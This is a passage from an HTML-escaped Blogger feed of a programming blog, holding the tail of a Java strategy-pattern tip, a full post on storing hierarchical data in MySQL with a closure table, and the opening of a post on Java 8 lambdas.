&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eeeeee; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;
Map&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;IResponseHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; strategyHandlers &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;IResponseHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
strategyHandlers&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: maroon; margin: 0px; padding: 0px;&quot;&gt;&quot;EditorialOffice&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;EditorialOfficeHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;());&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
strategyHandlers&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: maroon; margin: 0px; padding: 0px;&quot;&gt;&quot;EditorialBoard&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;EditorialBoardHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;());
&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;strategyHandlers&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: maroon; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&quot;AdivsoryBoard&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;AdvisoryBoardHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;());&lt;/span&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
And when you get the response just call the handler to do the rest of the things for you:&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;typ&quot; style=&quot;background-color: #eeeeee; border: 0px; color: #2b91af; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; font-size: 13px; margin: 0px; padding: 0px; white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;typ&quot; style=&quot;background-color: #eeeeee; border: 0px; color: #2b91af; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; font-size: 13px; margin: 0px; padding: 0px; white-space: pre;&quot;&gt;&lt;div style=&quot;color: black; font-family: &#39;Times New Roman&#39;; font-size: medium; white-space: normal;&quot;&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;ResponseHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt; responseHandler &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt; strategyHandlers&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;soapResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;
responseHandler&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;HandleResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;xxp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I hope it will be helpful for the java programmers of 1-3 years of experience. &amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/1872343031078180947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2015/07/best-programming-practice.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/1872343031078180947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/1872343031078180947'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2015/07/best-programming-practice.html' title='Best programming practice'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-1172656680005417859</id><published>2015-07-29T11:20:00.000-07:00</published><updated>2015-07-29T11:22:50.994-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>MySQL- Hierarchical Data </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
No developer ever came into the problem of storing hierarchical data. And we always come up with a solution that store the parentId into the same table. And when we just need to retrieve the data then it becomes a nightmare to optimize the nested-join. The advantage to these systems is that they don&#39;t take a lot of space, but the disadvantage is that nearly all the maintenance has to be done in the application. So, in essence, these approaches trade lots of queries at retrieval time, for lots of queries at update and insert/delete time, and often some additional programming complexity.&lt;br /&gt;
&lt;br /&gt;
Just imagine a tree and what outcome a user may want:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
root&lt;br /&gt;
- son&lt;br /&gt;
- son#2&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;- grandson#1&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;- super grandson&lt;br /&gt;
- son#3&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;-grandson#2&lt;/blockquote&gt;
&lt;br /&gt;
and I want to display it like:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
root -&amp;gt; son&lt;br /&gt;
root -&amp;gt; son#2&lt;br /&gt;
root -&amp;gt; son#2 -&amp;gt; grandson#1&lt;br /&gt;
root -&amp;gt; son#2 -&amp;gt; grandson#1 -&amp;gt; super grandson&lt;br /&gt;
root -&amp;gt; son#3&lt;br /&gt;
root -&amp;gt; son#3 -&amp;gt; grandson#2&lt;/blockquote&gt;
&lt;br /&gt;
In order to get the following output we apply the approach of closure table. A closure table gives you the ability to do all the same sorts of &quot;find me all children of X, to depth N&quot; queries as any of the other methods, just by doing a join against the closure table. And, the killer feature of the closure table, is that to add or remove a parent-child relationship, you only need to run *one* SQL query -- a query so simple that even the least-powerful SQL databases can be configured to run it as a trigger on the main table!&lt;br /&gt;
&lt;br /&gt;
The Closure Table is a design for representing trees in a relational database by storing all the paths between tree nodes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
create table family (&lt;br /&gt;
relation_id int auto_increment primary key,&lt;br /&gt;
relation varchar(20) not null&lt;br /&gt;
);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
insert into family (relation_id, relation) values&lt;br /&gt;
(1, &#39;root&#39;),&lt;br /&gt;
(2, &#39;son&#39;),&lt;br /&gt;
(3, &#39;son#2&#39;),&lt;br /&gt;
(4, &#39;grandson#1&#39;),&lt;br /&gt;
(5, &#39;super grandson&#39;),&lt;br /&gt;
(6, &#39;son#3&#39;),&lt;br /&gt;
(7, &#39;grandson#2&#39;);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
create table family_tree (&lt;br /&gt;
ancestor int not null,&lt;br /&gt;
descendant int not null,&lt;br /&gt;
primary key (ancestor, descendant),&lt;br /&gt;
foreign key (ancestor) references family(relation_id),&lt;br /&gt;
foreign key (descendant) references family(relation_id)&lt;br /&gt;
);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
insert into family_tree (ancestor, descendant) values&lt;br /&gt;
(1,1), (1,2), (1,3), (1,4), (1,5), (1,6), (1,7),&lt;br /&gt;
(2,2),&lt;br /&gt;
(3,3), (3,4), (3,5),&lt;br /&gt;
(4,4), (4,5),&lt;br /&gt;
(5,5),&lt;br /&gt;
(6,6), (6,7),&lt;br /&gt;
(7,7);&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
What we need to do is find all the descendants of the root node 1, then for each of these descendant, list its ancestors in order, separated by an arrow. We can use MySQL&#39;s useful GROUP_CONCAT() function to build this list for us.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
select group_concat(f.relation order by f.relation_id separator &#39; -&amp;gt; &#39;) as path&lt;br /&gt;
from family_tree d&lt;br /&gt;
join family_tree a on (a.descendant = d.descendant)&lt;br /&gt;
join family f on (f.relation_id = a.ancestor)&lt;br /&gt;
where d.ancestor = 1 and d.descendant != d.ancestor&lt;br /&gt;
group by d.descendant;&lt;/blockquote&gt;
&lt;br /&gt;
Here&#39;s the output in the MySQL client. It looks like what the reader asked for:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
+----------------------------------------------------------+&lt;br /&gt;
| path &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;
+----------------------------------------------------------+&lt;br /&gt;
|root -&amp;gt; son &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;br /&gt;
|root -&amp;gt; son#2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;br /&gt;
|root -&amp;gt; son#2 -&amp;gt; grandson#1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;br /&gt;
|root -&amp;gt; son#2 -&amp;gt; grandson#1 -&amp;gt; super grandson &amp;nbsp; &amp;nbsp;|&lt;br /&gt;
|root -&amp;gt; son#3 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;br /&gt;
|root -&amp;gt; son#3 -&amp;gt; grandson#2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;br /&gt;
+----------------------------------------------------------+&lt;/blockquote&gt;
&lt;br /&gt;
I do assume for the purposes of ordering that all of a node&#39;s ancestors have a lower node number. You could alternatively use a pathlength column to the family_tree table and sort by that.&lt;br /&gt;
&lt;br /&gt;
The Closure Table design is nice compared to the Nested Sets (or Preorder Traversal) design, because it supports the use of referential integrity. By using indexes, the EXPLAIN report shows that MySQL query optimizer does a pretty good job on it:&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5WuXs2uR9d7HF1udxB8J-XVMgz9OOXhEowK1-yK6ipz_PZJtHEeCGijD3TgE3C_-nhF3iCJLYBxaAubR66WHzfDIIb-x_Zq4aA6-PmKW2AGcE4HPUqZJJ-M4GhGp6CAKAzPT-qxuJ2H-w/s1600/queryStats.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;171&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5WuXs2uR9d7HF1udxB8J-XVMgz9OOXhEowK1-yK6ipz_PZJtHEeCGijD3TgE3C_-nhF3iCJLYBxaAubR66WHzfDIIb-x_Zq4aA6-PmKW2AGcE4HPUqZJJ-M4GhGp6CAKAzPT-qxuJ2H-w/s400/queryStats.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;MySQL Query Stats&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/1172656680005417859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2015/07/mysql-hierarchical-data.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/1172656680005417859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/1172656680005417859'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2015/07/mysql-hierarchical-data.html' title='MySQL- Hierarchical Data '/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5WuXs2uR9d7HF1udxB8J-XVMgz9OOXhEowK1-yK6ipz_PZJtHEeCGijD3TgE3C_-nhF3iCJLYBxaAubR66WHzfDIIb-x_Zq4aA6-PmKW2AGcE4HPUqZJJ-M4GhGp6CAKAzPT-qxuJ2H-w/s72-c/queryStats.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6327730907024515487</id><published>2015-07-26T13:47:00.000-07:00</published><updated>2015-07-29T11:22:58.671-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Java 8 - Lambda &amp; Functional Interfaces</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Java
8 supposted to be a major release after Java 5 and it brought a lot
of new changes and ease for java developers i.e.
language,compiler,libraries,tools and runtime (JVM)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0.08in; margin-top: 0.17in; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Liberation Sans, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Lambdas
and Functional Interfaces&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Lambdas
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;allow
us to treat functionality as a method argument (passing functions
around), or treat a code as data. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;So,
this is must be good news for functional developers and from now on
no need for anonymous classes in order to do functional programming
with java.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border: none; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 0.23in; margin-bottom: 0in; padding: 0in; widows: 1;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 100%; margin-bottom: 0.08in; margin-top: 0.17in; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: Liberation Sans, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-variant: normal;&quot;&gt;&lt;span style=&quot;font-family: Tahoma, Arial, Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;letter-spacing: normal;&quot;&gt;&lt;span style=&quot;font-style: normal;&quot;&gt;Examples
